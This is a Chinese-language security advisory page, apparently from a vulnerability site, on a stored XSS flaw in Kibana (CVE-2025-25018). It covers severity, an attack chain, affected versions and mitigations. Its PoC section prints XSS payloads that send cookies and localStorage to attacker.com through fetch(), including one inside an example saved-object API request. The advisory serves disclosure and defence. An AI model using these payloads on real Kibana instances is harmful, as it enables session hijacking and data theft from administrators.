IPBUF安全漏洞报告
English
CVE-2025-25018 CVSS 8.7 高危

CVE-2025-25018:Kibana存储型跨站脚本漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-25018
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Elastic Kibana

相关标签

存储型XSS跨站脚本KibanaElastic高危漏洞CWE-79Web安全Elasticsearch

漏洞概述

CVE-2025-25018是Elastic Kibana中存在的一个高危存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Kibana在Web页面生成过程中未能正确对用户输入进行充分的中和与过滤(Improper Neutralization of Input During Web Page Generation),导致攻击者可以将恶意脚本代码注入到Kibana的Web界面中,并在其他用户访问受影响的页面时自动执行。该漏洞的CVSS 3.1评分为8.7分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),仅需要低权限认证(PR:L),但需要用户交互(UI:R)才能触发漏洞利用。一旦利用成功,攻击者可以在受害者的浏览器上下文中执行任意JavaScript代码,窃取敏感信息(如会话Cookie、认证令牌)、劫持用户会话、执行未授权操作,甚至通过Kibana的管理接口对Elasticsearch集群进行恶意操作。机密性和完整性影响均为高(CH/I:H),可用性影响为无(A:N)。该漏洞由Elastic安全团队([email protected])发现并报告,Elastic已于2025年10月10日发布安全公告ESA-2025-17,并发布了修复版本。

技术细节

该漏洞的根本原因在于Kibana在处理用户提交的数据并在Web页面中渲染时,未能对输入内容进行充分的HTML/JavaScript转义或过滤。具体而言,当低权限用户通过Kibana的某些功能(如仪表盘、可视化、索引模式配置、Canvas等)提交包含恶意JavaScript代码的数据时,这些数据被存储到后端Elasticsearch中。当其他用户(尤其是具有更高权限的管理员)访问包含这些数据的页面时,浏览器会将恶意脚本作为页面内容的一部分进行解析和执行。由于是存储型XSS,恶意代码会持久化存在于系统中,每次有用户访问受影响页面时都会触发,无需攻击者持续投递载荷。利用方式如下:1)攻击者使用低权限账户登录Kibana;2)通过存在漏洞的输入字段(如可视化标题、描述、标签、注释等)注入恶意脚本,如<script>alert(document.cookie)</script>或更复杂的载荷(如窃取cookie、发起CSRF请求等);3)等待具有更高权限的用户(如管理员)查看包含恶意数据的页面;4)恶意脚本在受害者浏览器中执行,可窃取会话凭证、执行任意操作(如创建/删除索引、修改配置等)。由于Kibana通常与Elasticsearch集成并管理大量敏感数据,该漏洞的潜在危害较大。

攻击链分析

STEP 1
步骤1:初始访问
攻击者通过合法途径获取Kibana的低权限用户账户凭证(如通过钓鱼、凭证填充或其他方式),并成功登录Kibana系统。
STEP 2
步骤2:恶意载荷注入
攻击者利用Kibana中未充分过滤用户输入的功能(如可视化创建、仪表盘编辑、Canvas工作簿、索引模式配置等),将包含恶意JavaScript代码的载荷注入到系统中。这些载荷被存储到后端Elasticsearch中。
STEP 3
步骤3:等待受害者访问
恶意载荷持久化存储后,攻击者等待具有更高权限的用户(如Kibana管理员或Elasticsearch管理员)访问包含恶意数据的页面或仪表盘。
STEP 4
步骤4:脚本执行
当受害者访问受影响页面时,浏览器解析并执行存储的恶意JavaScript代码。代码在受害者的浏览器上下文中运行,具有受害者账户的权限。
STEP 5
步骤5:数据窃取与权限提升
恶意脚本窃取受害者的会话Cookie、认证令牌或敏感数据,并可利用受害者的高权限执行未授权操作,如修改Kibana配置、访问敏感数据、执行Elasticsearch查询等。
STEP 6
步骤6:横向移动
攻击者利用窃取的凭证或通过受感染的管理员账户,进一步访问底层Elasticsearch集群,获取存储的敏感数据或对系统进行持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-25018 - Kibana Stored XSS PoC Vulnerability: Improper Neutralization of Input During Web Page Generation Tested on Kibana versions prior to 8.18.8, 8.19.5, 9.0.8, 9.1.5 --> // Step 1: Attacker logs into Kibana with low-privilege account // Step 2: Inject malicious payload into a vulnerable input field // Example payload for visualization title or dashboard description: var maliciousPayload = '<img src=x onerror="fetch(\'http://attacker.com/steal?cookie=\'+document.cookie)">'; // Alternative payloads: var payload2 = '<svg onload="javascript:fetch(\'http://attacker.com/exfil\',{method:\'POST\',body:JSON.stringify({cookies:document.cookie,localStorage:JSON.stringify(localStorage)})})">'; // Step 3: Submit the data through Kibana API // Example: Create or update a visualization with malicious title POST /api/saved_objects/visualization/<viz-id> Content-Type: application/json { "attributes": { "title": "<img src=x onerror=\"fetch('http://attacker.com/steal?c='+document.cookie)\">", "description": "Legitimate description", "visState": "{}", "kibanaSavedObjectMeta": { "searchSourceJSON": "{}" } } } // Step 4: When a higher-privileged user views the dashboard, // the malicious script executes in their browser context // and exfiltrates sensitive data to the attacker's server.

影响范围

Kibana < 8.18.8
Kibana 8.19.x < 8.19.5
Kibana 9.0.x < 9.0.8
Kibana 9.1.x < 9.1.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Kibana的访问范围,仅允许可信用户和IP地址访问;2)审查并限制低权限用户创建或修改可视化、仪表盘等保存对象的权限;3)在反向代理或Web服务器层面配置内容安全策略(CSP)头,限制内联脚本执行;4)监控Kibana审计日志,及时发现可疑的保存对象创建或修改活动;5)定期检查已存储的保存对象,搜索并删除包含可疑HTML/JavaScript代码的内容;6)考虑在Kibana前端部署WAF规则,过滤恶意输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表